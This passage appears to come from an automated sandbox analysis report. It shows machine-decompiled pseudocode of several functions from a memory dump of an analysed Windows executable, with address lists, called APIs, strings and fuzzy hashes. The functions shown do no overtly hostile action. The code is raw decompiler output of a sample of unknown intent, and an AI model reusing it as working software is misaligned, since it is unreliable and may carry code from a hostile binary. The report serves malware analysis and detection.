										_t326 =  *(_t317 + 8);
										_t319 =  *((intOrPtr*)(_t326 +  *_t317));
										__eflags =  *((intOrPtr*)(_t275 + 0x44)) - _t319;
										if( *((intOrPtr*)(_t275 + 0x44)) < _t319) {
											 *((char*)(_t275 + 0x44)) = _t319;
										}
									}
									goto L34;
								} else {
									_t288 = _t337;
									_t270 = E00418FE5(_t337, _t326, _t347, __eflags);
									_v16 = _t270;
									__eflags = _t270 - 0x40;
									if(__eflags > 0) {
										goto L61;
									}
									_t288 = _t337;
									_t271 = E00418FE5(_t337, _t326, _t347, __eflags);
									__eflags = _t271 - 1;
									if(_t271 != 1) {
										goto L61;
									}
									goto L21;
								}
							} else {
								goto L14;
								L14:
								_t321 = _v60;
								asm("cdq");
								_t288 = _v52;
								_t326 = _t326 | (_v56 << 0x00000020 | _t321) << 0x8;
								_v16 = _v16 + 1;
								_v60 =  *(_v16 + _t264) & 0x000000ff | _t321 << 0x00000008;
								_v56 = _t326;
								__eflags = _v16 - _t288;
								if(_v16 < _t288) {
									_t264 = _v48;
									goto L14;
								} else {
									_t337 = _v20;
									goto L16;
								}
							}
						}
						break;
					}
					L61:
					E00418E04(_t288);
					goto L62;
				}
				L1:
				_t249 = _v24;
				 *((intOrPtr*)( *_t336 + _t249 * 4)) = _v12;
				 *((intOrPtr*)( *((intOrPtr*)(_t275 + 0x30)) + _t249 * 4)) = _v44;
				_t326 =  *(_t275 + 0x38);
				 *((intOrPtr*)(_t326 + _t249 * 4)) =  *((intOrPtr*)( *(_t347 + 0x38) + 8)) - _v28 +  *( *(_t347 + 0x38));
				E0040BF30(_t275 + 0x3c, _v28,  *((intOrPtr*)( *(_t347 + 0x38) + 8)) - _v28 +  *( *(_t347 + 0x38)));
				_push(_v80);
				L0041C160();
				_push(_v92);
				L0041C160();
				E00418E1D( &_v68);
				E00419816(_t347, _t326,  *((intOrPtr*)( *(_t347 + 0x38) + 8)) - _v28 +  *( *(_t347 + 0x38)), _t350, 0xc, 0);
				E004190F1(_t275 + 0x28, _t350, _v12);
				_a4 = _a4 & 0x00000000;
				if(_v12 <= 0) {
					goto L67;
				} else {
					goto L2;
				}
				do {
					L2:
					_t254 = E00418FB1( *(_t347 + 0x38));
					_t310 =  *((intOrPtr*)(_t275 + 0x28));
					_v64 = _t326;
					_t333 = _a4;
					 *((intOrPtr*)(_t310 + _t333 * 8)) = _t254;
					 *(_t310 + 4 + _t333 * 8) = _v64;
					_t326 = _t333 + 1;
					_a4 = _t326;
				} while (_t326 < _v12);
				goto L67;
			}

0x00419daa
0x00419db7
0x00419db9
0x00419dc1
0x00419dc9
0x00419dcd
0x00419dd3
0x00419dd6
0x00419ddc
0x00419de9
0x00419dec
0x00419def
0x00419df6
0x00419df9
0x00419e05
0x00419e10
0x00419e19
0x00419e1f
0x00419e27
0x00419e29
0x00419e2c
0x00419e2f
0x00419e32
0x00419e35
0x00419e38
0x00419e3b
0x00419e3e
0x00419e41
0x00419e44
0x00419e47
0x00419ef2
0x00419efb
0x00419efe
0x00419f03
0x00419f06
0x00419f09
0x00419f0c
0x00419f0f
0x00419f14
0x00419f17
0x00419f19
0x00000000
0x00000000
0x00419f1f
0x00419f22
0x00000000
0x00000000
0x00419f28
0x00419f2c
0x00419f2e
0x0041a091
0x0041a093
0x0041a094
0x0041a096
0x0041a0a9
0x0041a0a9
0x0041a0ad
0x0041a0af
0x00000000
0x00000000
0x0041a0b8
0x0041a0bd
0x0041a0c3
0x0041a0c8
0x0041a0cc
0x0041a0cc
0x0041a0cd
0x0041a0d0
0x0041a121
0x0041a124
0x0041a127
0x0041a12a
0x0041a12d
0x0041a159
0x0041a159
0x0041a15b
0x0041a15e
0x0041a177
0x0041a177
0x00000000
0x00000000
0x0041a179
0x0041a179
0x0041a17c
0x0041a17f
0x0041a184
0x0041a18d
0x0041a190
0x0041a193
0x0041a19c
0x0041a1a2
0x0041a1a5
0x0041a1a6
0x0041a1a9
0x0041a1ac
0x00419ef0
0x00419ef0
0x00000000
0x00419ef0
0x00000000
0x00000000
0x00000000
0x00000000
0x0041a160
0x0041a160
0x0041a160
0x0041a163
0x0041a167
0x00000000
0x00000000
0x0041a169
0x0041a16a
0x0041a16d
0x00000000
0x00000000
0x0041a174
0x0041a174
0x00000000
0x0041a174
0x0041a171
0x00000000
0x0041a171
0x0041a12f
0x0041a133
0x0041a135
0x00000000
0x00000000
0x00000000
0x00000000
0x0041a137
0x0041a137
0x0041a137
0x0041a13a
0x0041a13f
0x0041a142
0x00000000
0x00000000
0x0041a144
0x0041a147
0x0041a14b
0x00000000
0x00000000
0x0041a14d
0x0041a150
0x0041a154
0x0041a157
0x00000000
0x00000000
0x00000000
0x0041a157
0x00000000
0x00000000
0x00000000
0x00000000
0x0041a0d2
0x0041a0d2
0x0041a0d2
0x0041a0d5
0x0041a0da
0x0041a0dd
0x00000000
0x00000000
0x0041a0e3
0x0041a0e6
0x0041a0ea
0x00000000
0x00000000
0x0041a0f0
0x0041a0f4
0x0041a0f7
0x0041a0fc
0x0041a0ff
0x00000000
0x00000000
0x0041a105
0x0041a108
0x0041a10c
0x00000000
0x00000000
0x0041a112
0x0041a115
0x0041a11c
0x0041a11f
0x00000000
0x00000000
0x00000000
0x0041a11f
0x00000000
0x0041a0d2
0x0041a098
0x0041a09b
0x00000000
0x00000000
0x0041a09d
0x0041a0a1
0x00000000
0x00000000
0x00000000
0x00000000
0x00419f34
0x00419f34
0x00419f34
0x00419f37
0x00419f39
0x00419f3e
0x00419f41
0x00419f43
0x00000000
0x00000000
0x00419f4c
0x00419f4f
0x00419f52
0x00419f55
0x00000000
0x00000000
0x00419f5b
0x00419f63
0x00419f65
0x0041a1bc
0x0041a1bc
0x0041a1c1
0x0041a1c1
0x0041a1c4
0x0041a1da
0x0041a1dd
0x0041a1e2
0x0041a1e5
0x0041a1ee
0x00000000
0x00000000
0x0041a1f4
0x0041a1f4
0x0041a1c6
0x0041a1c8
0x00000000
0x00000000
0x0041a1d3
0x00000000
0x0041a1d3
0x00419f6d
0x00419f71
0x00419f75
0x00419f79
0x00419f7b
0x00419f7e
0x00419f80
0x00419fb4
0x00419fb9
0x00419fbc
0x00419fc3
0x00419fc8
0x00419fce
0x00419fce
0x00419fd3
0x00419fd7
0x00419fde
0x0041a003
0x0041a006
0x0041a009
0x0041a00d
0x00000000
0x00000000
0x0041a013
0x0041a017
0x0041a07f
0x0041a07f
0x0041a085
0x0041a088
0x00000000
0x00000000
0x0041a08e
0x00000000
0x0041a08e
0x0041a01b
0x0041a023
0x0041a026
0x0041a028
0x00000000
0x00000000
0x0041a02e
0x0041a032
0x0041a054
0x0041a054
0x0041a05b
0x0041a05d
0x0041a061
0x0041a063
0x0041a066
0x0041a068
0x0041a06b
0x0041a070
0x0041a074
0x0041a077
0x0041a079
0x0041a079
0x0041a077
0x0041a066
0x0041a061
0x0041a07c
0x0041a07c
0x0041a07c
0x0041a07c
0x00000000
0x0041a07c
0x0041a034
0x0041a038
0x00000000
0x00000000
0x0041a03a
0x0041a03d
0x0041a03f
0x0041a042
0x0041a047
0x0041a04a
0x0041a04d
0x0041a04f
0x0041a04f
0x0041a04d
0x00000000
0x00419fe0
0x00419fe0
0x00419fe2
0x00419fe7
0x00419fea
0x00419fed
0x00000000
0x00000000
0x00419ff3
0x00419ff5
0x00419ffa
0x00419ffd
0x00000000
0x00000000
0x00000000
0x00419ffd
0x00419f82
0x00419f82
0x00419f87
0x00419f8e
0x00419f9b
0x00419f9e
0x00419fa1
0x00419fa3
0x00419fa6
0x00419fa9
0x00419fac
0x00419faf
0x00419f84
0x00000000
0x00419fb1
0x00419fb1
0x00000000
0x00419fb1
0x00419faf
0x00419f80
0x00000000
0x00419f34
0x0041a1b7
0x0041a1b7
0x00000000
0x0041a1b7
0x00419e4d
0x00419e5d
0x00419e60
0x00419e69
0x00419e78
0x00419e81
0x00419e84
0x00419e89
0x00419e8c
0x00419e91
0x00419e94
0x00419e9e
0x00419ea9
0x00419eb4
0x00419eb9
0x00419ec1
0x00000000
0x00000000
0x00000000
0x00000000
0x00419ec7
0x00419ec7
0x00419eca
0x00419ecf
0x00419ed2
0x00419ed5
0x00419ed8
0x00419ede
0x00419ee2
0x00419ee3
0x00419ee6
0x00000000

APIs

Part of subcall function 0041911E: ??3@YAXPAX@Z.MSVCRT ref: 00419123
Part of subcall function 0041911E: ??2@YAPAXI@Z.MSVCRT ref: 0041913E

Part of subcall function 0041914B: ??3@YAXPAX@Z.MSVCRT ref: 00419150
Part of subcall function 0041914B: ??2@YAPAXI@Z.MSVCRT ref: 0041915C

Part of subcall function 0040BF30: ??3@YAXPAX@Z.MSVCRT ref: 0040BF44
Part of subcall function 0040BF30: ??2@YAPAXI@Z.MSVCRT ref: 0040BF5E
Part of subcall function 0040BF30: memcpy.MSVCRT ref: 0040BF78

??3@YAXPAX@Z.MSVCRT ref: 00419E8C
??3@YAXPAX@Z.MSVCRT ref: 00419E94

Part of subcall function 004190F1: ??3@YAXPAX@Z.MSVCRT ref: 004190F6
Part of subcall function 004190F1: ??2@YAPAXI@Z.MSVCRT ref: 00419111

Part of subcall function 00419725: memset.MSVCRT ref: 0041973D

Strings

@, xrefs: 0041A009
, xrefs: 0041A013
!, xrefs: 0041A02E

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$??2@$memcpymemset
String ID: $!$@
API String ID: 1807930983-2517134481
Opcode ID: f179f206ab315a89253d4d1cae131543762475f9238fa3fe184e8bee0db2a210
Instruction ID: 3ffa3ad4b5ccc8a9926622aa3f55e201b9f90fd758da49e30c43fec7e53f582a
Opcode Fuzzy Hash: f179f206ab315a89253d4d1cae131543762475f9238fa3fe184e8bee0db2a210
Instruction Fuzzy Hash: 48E15C74901209EFCF14DF95C590AEDBBB2BF49314F24805EE806AB352DB39A9D1CB49

Uniqueness

Uniqueness Score: -1.00%

Function 00401368, Relevance: 9.1, APIs: 6, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00401368() {
				signed int _v8;
				signed int _v12;
				void* __ecx;
				signed int _t31;
				signed int _t33;
				signed int _t34;
				intOrPtr* _t35;
				long _t36;
				intOrPtr* _t37;
				intOrPtr* _t38;
				intOrPtr _t41;
				signed int _t49;
				void* _t51;
				signed int _t66;
				void* _t69;
				signed int _t73;
				intOrPtr* _t74;
				void* _t77;

				_push(_t51);
				_push(_t51);
				_t69 = _t51;
				if(( *0x422774 & 0x00000040) != 0) {
					L19:
					_t31 = 0;
					L20:
					return _t31;
				}
				_t76 =  *0x422704;
				if( *0x422704 > 0) {
					goto L19;
				}
				_t77 = E00401303(_t51, _t76);
				if(_t77 == 0) {
					goto L19;
				}
				_t33 = E0040115F(_t69);
				_t66 = 4;
				_t49 = _t33;
				_t34 = _t33 * _t66;
				_push( ~(0 | _t77 > 0x00000000) | _t34);
				L0041C16C();
				_t73 = 0;
				_v12 = _t34;
				_v8 = 0;
				if(_t49 <= 0) {
					L8:
					_push(_v12);
					L0041C160();
					goto L19;
				} else {
					goto L4;
				}
				do {
					L4:
					_t35 = E00407272(_t73);
					if(_t35 != 0) {
						_t35 = _v12;
						_v8 = _v8 + 1;
						 *((intOrPtr*)(_t35 + _v8 * 4)) = _t73;
					}
					_t73 = _t73 + 1;
				} while (_t73 < _t49);
				if(_v8 != 0) {
					_push(0x14);
					L0041C16C();
					__eflags = _t35;
					if(_t35 == 0) {
						_t74 = 0;
						__eflags = 0;
					} else {
						_t74 = E00401238(_t35, _t35);
					}
					__eflags = _t74;
					if(_t74 != 0) {
						 *((intOrPtr*)( *_t74 + 4))(_t74);
					}
					_t36 = GetTickCount();
					 *(_t69 + 0x88) = _t36;
					_t22 = _t69 + 8; // 0x9d2680
					_t37 =  *_t22;
					_t38 =  *((intOrPtr*)( *_t37 + 0x1c))(_t37, _v12, _v8, 0, _t74);
					__eflags = _t38;
					if(_t38 != 0) {
						L17:
						_push(_v12);
						L0041C160();
						__eflags = _t74;
						if(_t74 != 0) {
							 *((intOrPtr*)( *_t74 + 8))(_t74);
						}
						goto L19;
					} else {
						_t41 =  *((intOrPtr*)(_t74 + 0xc));
						__eflags =  *((intOrPtr*)(_t41 + 0x10));
						if( *((intOrPtr*)(_t41 + 0x10)) == 0) {
							goto L17;
						}
						L0041C160();
						 *((intOrPtr*)( *_t74 + 8))(_t74, _v12);
						_t31 = 1;
						goto L20;
					}
				}
				goto L8;
			}

0x0040136b
0x0040136c
0x00401377
0x00401379
0x00401463
0x00401463
0x00401465
0x00401469
0x00401469
0x0040137f
0x00401386
0x00000000
0x00000000
0x00401391
0x00401393
0x00000000
0x00000000
0x0040139b
0x004013a4
0x004013a5
0x004013a7
0x004013b0
0x004013b1
0x004013b6
0x004013b9
0x004013bc
0x004013c1
0x004013e6
0x004013e6
0x004013e9
0x00000000
0x00000000
0x00000000
0x00000000
0x004013c3
0x004013c3
0x004013c5
0x004013cc
0x004013d1
0x004013d4
0x004013d7
0x004013d7
0x004013da
0x004013db
0x004013e4
0x004013f1
0x004013f3
0x004013f9
0x004013fb
0x00401408
0x00401408
0x004013fd
0x00401404
0x00401404
0x0040140a
0x0040140c
0x00401411
0x00401411
0x00401414
0x0040141f
0x00401425
0x00401425
0x0040142e
0x00401431
0x00401433
0x00401450
0x00401450
0x00401453
0x00401459
0x0040145b
0x00401460
0x00401460
0x00000000
0x00401435
0x00401435
0x00401438
0x0040143b
0x00000000
0x00000000
0x00401440
0x00401449
0x0040144c
0x00000000
0x0040144c
0x00401433
0x00000000

APIs

??2@YAPAXI@Z.MSVCRT ref: 004013B1
??3@YAXPAX@Z.MSVCRT ref: 004013E9
??2@YAPAXI@Z.MSVCRT ref: 004013F3
GetTickCount.KERNEL32 ref: 00401414
??3@YAXPAX@Z.MSVCRT ref: 00401440
??3@YAXPAX@Z.MSVCRT ref: 00401453

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$??2@$CountTick
String ID:
API String ID: 590505967-0
Opcode ID: 36a5861469329e3ffc0b6dc593449e4903cf603a1799691b629c633e4b490662
Instruction ID: 003ae7c08c8171e42d60e6727e1d5df914aaf81fbeeeab4e494b2dbabceb1a0e
Opcode Fuzzy Hash: 36a5861469329e3ffc0b6dc593449e4903cf603a1799691b629c633e4b490662
Instruction Fuzzy Hash: 5831D331A00210AFCB24AFA5C8859AEB7E4EF05754B10407FF905B72B2CB788D828B58

Uniqueness

Uniqueness Score: -1.00%

Function 00405CA1, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00405CA1(void* __edx, void* __edi, void* __eflags) {
				char _v16;
				char _v100;
				short _v356;
				void* _t28;
				WCHAR* _t49;
				signed int _t51;
				void* _t55;
				void* _t57;

				 *0x42245c = 8;
				E004075CF( &_v100, __edx, __eflags);
				_v100 = 0x41eaa0;
				E00414803( &_v16, E00403CE0(1));
				_t51 = 0;
				_t55 =  *0x424c60 - _t51; // 0x9
				if(_t55 > 0) {
					_t49 = L", ";
					do {
						if(_t51 != 0) {
							E00414922( &_v16, _t49);
						}
						E00414A08( &_v16,  *((intOrPtr*)( *((intOrPtr*)(0x424b20 + _t51 * 4)) + 0x10)));
						_t51 = _t51 + 1;
						_t57 = _t51 -  *0x424c60; // 0x9
					} while (_t57 < 0);
					if(_t51 != 0) {
						E00414922( &_v16, _t49);
					}
				}
				E00414922( &_v16, L"Volumes");
				wsprintfW( &_v356, L" \n\t%X - %03X - %03X - %03X - %03X", 1, 0x5ff, 0x1f, 0x3fff, 7);
				E00414922( &_v16,  &_v356);
				E00414922( &_v16, 0x41ebe4);
				_t28 = E00407941( &_v100, 0x11,  *0x422738, _v16, 0);
				_push(_v16);
				L0041C160();
				return E00407630(_t28,  &_v100);
			}

0x00405cae
0x00405cb8
0x00405cc0
0x00405cd0
0x00405cd5
0x00405cd7
0x00405cdd
0x00405ce0
0x00405ce5
0x00405ce7
0x00405ced
0x00405ced
0x00405cff
0x00405d04
0x00405d05
0x00405d05
0x00405d0f
0x00405d15
0x00405d15
0x00405d1a
0x00405d23
0x00405d44
0x00405d57
0x00405d64
0x00405d79
0x00405d7e
0x00405d81
0x00405d91

APIs

Part of subcall function 004075CF: KiUserCallbackDispatcher.NTDLL ref: 00407611
Part of subcall function 004075CF: GetSystemMetrics.USER32 ref: 0040761F

Part of subcall function 00414803: memcpy.MSVCRT ref: 00414829

wsprintfW.USER32 ref: 00405D44
??3@YAXPAX@Z.MSVCRT ref: 00405D81

Part of subcall function 00414922: memcpy.MSVCRT ref: 0041494F

Strings

<A, xrefs: 00405CE0
Volumes, xrefs: 00405D1B
%X - %03X - %03X - %03X - %03X, xrefs: 00405D3E

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$??3@CallbackDispatcherMetricsSystemUserwsprintf
String ID: %X - %03X - %03X - %03X - %03X$<A$Volumes
API String ID: 2991351368-3399665096
Opcode ID: cca3d016d0d10c9324117511857327f5cbdbfd0e0816387f27fc84f9d0f4fe5d
Instruction ID: ad8d23a7da3522afc9b8f86878820b42e07b12c4948eacb7cadc135188fea655
Opcode Fuzzy Hash: cca3d016d0d10c9324117511857327f5cbdbfd0e0816387f27fc84f9d0f4fe5d
Instruction Fuzzy Hash: 0A21A171D442186ACB14FB96EC46EDEB334FF80704F50417AB502760D1DB782A45CB8C

Uniqueness

Uniqueness Score: -1.00%

Function 00407489, Relevance: 7.6, APIs: 5, Instructions: 105
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00407489() {
				signed int _v8;
				intOrPtr _v12;
				void* __ecx;
				intOrPtr* _t23;
				signed int _t25;
				signed int _t26;
				intOrPtr* _t27;
				intOrPtr* _t30;
				intOrPtr* _t31;
				signed int _t41;
				intOrPtr _t42;
				signed int _t59;
				signed int _t60;
				signed int _t63;
				intOrPtr _t64;
				intOrPtr _t68;
				intOrPtr* _t69;
				void* _t71;
				void* _t72;

				_push(_t42);
				_push(_t42);
				_v12 = _t42;
				if(( *0x422774 & 0x00000080) == 0) {
					L9:
					_t23 = 0;
					L10:
					return _t23;
				}
				_t41 = 0;
				_t71 =  *0x422704 - _t41; // 0x0
				if(_t71 > 0) {
					goto L9;
				}
				_t72 = E00401303(0x4227b8, _t71);
				if(_t72 == 0) {
					goto L9;
				}
				_t25 = E0040115F(0x4227b8);
				_t59 = 4;
				_t63 = _t25;
				_t60 = _t25 * _t59 >> 0x20;
				_t26 = _t25 * _t59;
				_push( ~(0 | _t72 > 0x00000000) | _t26);
				L0041C16C();
				_t68 = 0;
				_v8 = _t26;
				if(_t63 == 0) {
					L8:
					_push(_v8);
					L0041C160();
					goto L9;
				} else {
					goto L4;
				}
				do {
					L4:
					_t27 = E0040732B(_t68);
					if(_t27 != 0) {
						_t27 = _v8;
						 *((intOrPtr*)(_t27 + _t41 * 4)) = _t68;
						_t41 = _t41 + 1;
					}
					_t68 = _t68 + 1;
				} while (_t68 < _t63);
				if(_t41 != 0) {
					_push(0x48);
					L0041C16C();
					__eflags = _t27;
					if(_t27 == 0) {
						_t69 = 0;
						__eflags = 0;
					} else {
						_t69 = E004025B4(_t27);
					}
					__eflags = _t69;
					if(_t69 != 0) {
						 *((intOrPtr*)( *_t69 + 4))(_t69);
					}
					_t64 = _v12;
					E00407370(_t64, _t60);
					_t17 = _t64 + 4; // 0x700062
					E004023C3(_t69,  *_t17);
					_t30 =  *0x4227c0; // 0x9d2680
					_t31 =  *((intOrPtr*)( *_t30 + 0x1c))(_t30, _v8, _t41, 0, _t69);
					_push(_v8);
					__eflags = _t31;
					if(_t31 == 0) {
						L0041C160();
						__eflags = _t69;
						if(_t69 != 0) {
							 *((intOrPtr*)( *_t69 + 8))(_t69);
						}
						_t23 = 1;
						goto L10;
					} else {
						L0041C160();
						__eflags = _t69;
						if(_t69 != 0) {
							 *((intOrPtr*)( *_t69 + 8))(_t69);
						}
						goto L9;
					}
				}
				goto L8;
			}

0x0040748c
0x0040748d
0x00407498
0x0040749b
0x00407502
0x00407502
0x00407504
0x00407508
0x00407508
0x0040749d
0x0040749f
0x004074a5
0x00000000
0x00000000
0x004074b3
0x004074b5
0x00000000
0x00000000
0x004074b9
0x004074c2
0x004074c3
0x004074c5
0x004074c5
0x004074ce
0x004074cf
0x004074d4
0x004074d7
0x004074dc
0x004074f9
0x004074f9
0x004074fc
0x00000000
0x00000000
0x00000000
0x00000000
0x004074de
0x004074de
0x004074e0
0x004074e7
0x004074e9
0x004074ec
0x004074ef
0x004074ef
0x004074f0
0x004074f1
0x004074f7
0x00407509
0x0040750b
0x00407511
0x00407513
0x00407520
0x00407520
0x00407515
0x0040751c
0x0040751c
0x00407522
0x00407524
0x00407529
0x00407529
0x0040752c
0x00407531
0x00407536
0x0040753b
0x00407540
0x0040754f
0x00407552
0x00407555
0x00407557
0x0040756b
0x00407571
0x00407573
0x00407578
0x00407578
0x0040757b
0x00000000
0x00407559
0x00407559
0x0040755f
0x00407561
0x00407566
0x00407566
0x00000000
0x00407561
0x00407557
0x00000000

APIs

??2@YAPAXI@Z.MSVCRT ref: 004074CF
??3@YAXPAX@Z.MSVCRT ref: 004074FC
??2@YAPAXI@Z.MSVCRT ref: 0040750B
??3@YAXPAX@Z.MSVCRT ref: 00407559
??3@YAXPAX@Z.MSVCRT ref: 0040756B

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$??2@
String ID:
API String ID: 4113381792-0
Opcode ID: c57e1d113ab936110b80036a3b8050ea2227ed2d44b3e8fca11897c12ae9fda5
Instruction ID: 58b793ad712c308d4ddd91de517e6b93f9a326b0b37e95d3d2077ce1cdaad68c
Opcode Fuzzy Hash: c57e1d113ab936110b80036a3b8050ea2227ed2d44b3e8fca11897c12ae9fda5
Instruction Fuzzy Hash: 51312871E095217BCB256F648C459AFB7649F41B14B10007FF9427B7D2CB78AC02869E

Uniqueness

Uniqueness Score: -1.00%

Function 004015B3, Relevance: 7.6, APIs: 5, Instructions: 88
stringCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E004015B3(void* __ecx) {
				signed int _v5;
				signed int _v16;
				signed short* _v20;
				char _v32;
				signed int _t23;
				signed short* _t26;
				signed int _t28;
				signed short* _t31;
				void* _t35;
				signed short* _t39;
				signed int _t46;
				signed int _t49;
				WCHAR** _t50;
				void* _t51;
				signed int _t52;

				_t35 = __ecx;
				_t50 = 0x422090;
				if( *0x422090 == 0) {
					L4:
					return 0;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t23 = lstrlenW( *_t50);
					_t46 =  *_t50;
					_t49 = _t23;
					if(E00403786(_t35, _t46, _t49) == 0 &&  *((short*)(_t35 + _t49 * 2)) == 0x3d) {
						break;
					}
					_t50 =  &(_t50[1]);
					if( *_t50 != 0) {
						continue;
					}
					goto L4;
				}
				E00414803( &_v20, _t35);
				_t39 = _v20;
				__eflags =  *_t39;
				_t26 = _t39;
				_v5 = 0;
				if(__eflags == 0) {
					L15:
					_t28 = _t26 - _t39 >> 1;
					_v16 = _t28;
					_t51 = _t28 + _t28;
					 *((short*)(_t51 + _t39)) = 0;
					E0040438B( &_v32,  &_v20, __eflags, 0xfde9);
					_t31 = E0040502A( &_v32, 1, __eflags);
					_push(_v32);
					__eflags = _t31;
					if(_t31 != 0) {
						L0041C160();
						_push(_v20);
						L0041C160();
						return _t51 + _t35;
					}
					L0041C160();
					_push(_v20);
					L0041C160();
					return 1;
				} else {
					goto L7;
				}
				do {
					L7:
					_t52 =  *_t26 & 0x0000ffff;
					__eflags = _t52 - 0x20;
					if(_t52 > 0x20) {
						goto L9;
					}
					__eflags = _v5;
					if(__eflags == 0) {
						goto L15;
					}
					L9:
					__eflags = _t52 - 0x22;
					if(_t52 != 0x22) {
						__eflags = _t52 - 0x5c;
						if(_t52 == 0x5c) {
							__eflags = _t26[1] - 0x22;
							if(_t26[1] == 0x22) {
								_t26 =  &(_t26[1]);
								__eflags = _t26;
							}
						}
					} else {
						__eflags = _v5;
						_t46 = _t46 & 0xffffff00 | _v5 == 0x00000000;
						_v5 = _t46;
					}
					_t26 =  &(_t26[1]);
					__eflags =  *_t26;
				} while (__eflags != 0);
				goto L15;
			}

0x004015c3
0x004015c5
0x004015ca
0x004015f3
0x00000000
0x00000000
0x00000000
0x00000000
0x004015cc
0x004015cc
0x004015ce
0x004015d4
0x004015d6
0x004015e2
0x00000000
0x00000000
0x004015eb
0x004015f1
0x00000000
0x00000000
0x00000000
0x004015f1
0x004015fe
0x00401603
0x00401606
0x0040160a
0x0040160c
0x00401610
0x00401649
0x0040164b
0x0040164d
0x00401650
0x00401655
0x00401664
0x0040166e
0x00401673
0x00401676
0x00401678
0x00401691
0x00401696
0x00401699
0x00000000
0x004016a0
0x0040167a
0x0040167f
0x00401682
0x00000000
0x00000000
0x00000000
0x00000000
0x00401612
0x00401612
0x00401612
0x00401615
0x00401618
0x00000000
0x00000000
0x0040161a
0x0040161e
0x00000000
0x00000000
0x00401620
0x00401620
0x00401623
0x00401631
0x00401634
0x00401636
0x0040163b
0x0040163d
0x0040163d
0x0040163d
0x0040163b
0x00401625
0x00401625
0x00401629
0x0040162c
0x0040162c
0x00401640
0x00401643
0x00401643
0x00000000

APIs

lstrlenW.KERNEL32(00422090,?,009D2586,004227B8,?,?,?,?,?,?,0040197C), ref: 004015CE
??3@YAXPAX@Z.MSVCRT ref: 0040167A
??3@YAXPAX@Z.MSVCRT ref: 00401682
??3@YAXPAX@Z.MSVCRT ref: 00401691
??3@YAXPAX@Z.MSVCRT ref: 00401699

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$lstrlen
String ID:
API String ID: 2031685711-0
Opcode ID: 6e300843ff67a2a88a322c4735bf088cad46bbe0d2c8f862c11a2a388a4ba63a
Instruction ID: 15beb7f568587da81f6b74c4144e5d976d5c6ef319186cdd4b388d545bbf5f64
Opcode Fuzzy Hash: 6e300843ff67a2a88a322c4735bf088cad46bbe0d2c8f862c11a2a388a4ba63a
Instruction Fuzzy Hash: 4921D432E04215ABDB34AB64DC817EFB3B5AB51304F14483FE542B72E1E6B94D45CA4D

Uniqueness

Uniqueness Score: -1.00%

Function 00409190, Relevance: 7.6, APIs: 5, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409190(void* __ecx, void* __edx, void* __eflags) {
				intOrPtr _v8;
				intOrPtr _v16;
				char _v20;
				struct _SHFILEINFOW _v712;
				short _v1236;
				void* _t32;
				void* _t40;
				void* _t44;

				_t40 = __edx;
				_t44 = __ecx;
				E00407925(__ecx, 0x4b6,  &_v20);
				 *((intOrPtr*)(_t44 + 0x58)) = _v8 - _v16 + 2;
				E004079B7(_t44, 0x4b6, 1);
				E004079B7(_t44, 0x4b6, 1);
				_v712.hIcon = _v712.hIcon & 0x00000000;
				memset( &(_v712.iIcon), 0, 0x2b0);
				GetSystemDirectoryW( &_v1236, 0x104);
				SHGetFileInfoW( &_v1236, 0,  &_v712, 0x2b4, 0x103);
				 *(_t44 + 0x50) = _v712.hIcon;
				 *((intOrPtr*)(_t44 + 0x54)) = SetWindowLongW(GetDlgItem( *(_t44 + 4), 0x4b7), 0xfffffffc, E0040808C);
				_t32 = E00408E57(_t40);
				E004085BD();
				return _t32;
			}

0x00409190
0x004091a5
0x004091a7
0x004091ba
0x004091bd
0x004091c8
0x004091cd
0x004091e2
0x004091f6
0x00409216
0x00409226
0x0040923f
0x00409242
0x0040924b
0x00409255

APIs

Part of subcall function 00407925: GetDlgItem.USER32 ref: 0040792D

Part of subcall function 004079B7: GetDlgItem.USER32 ref: 004079C4
Part of subcall function 004079B7: ShowWindow.USER32(00000000,?), ref: 004079DB

memset.MSVCRT ref: 004091E2
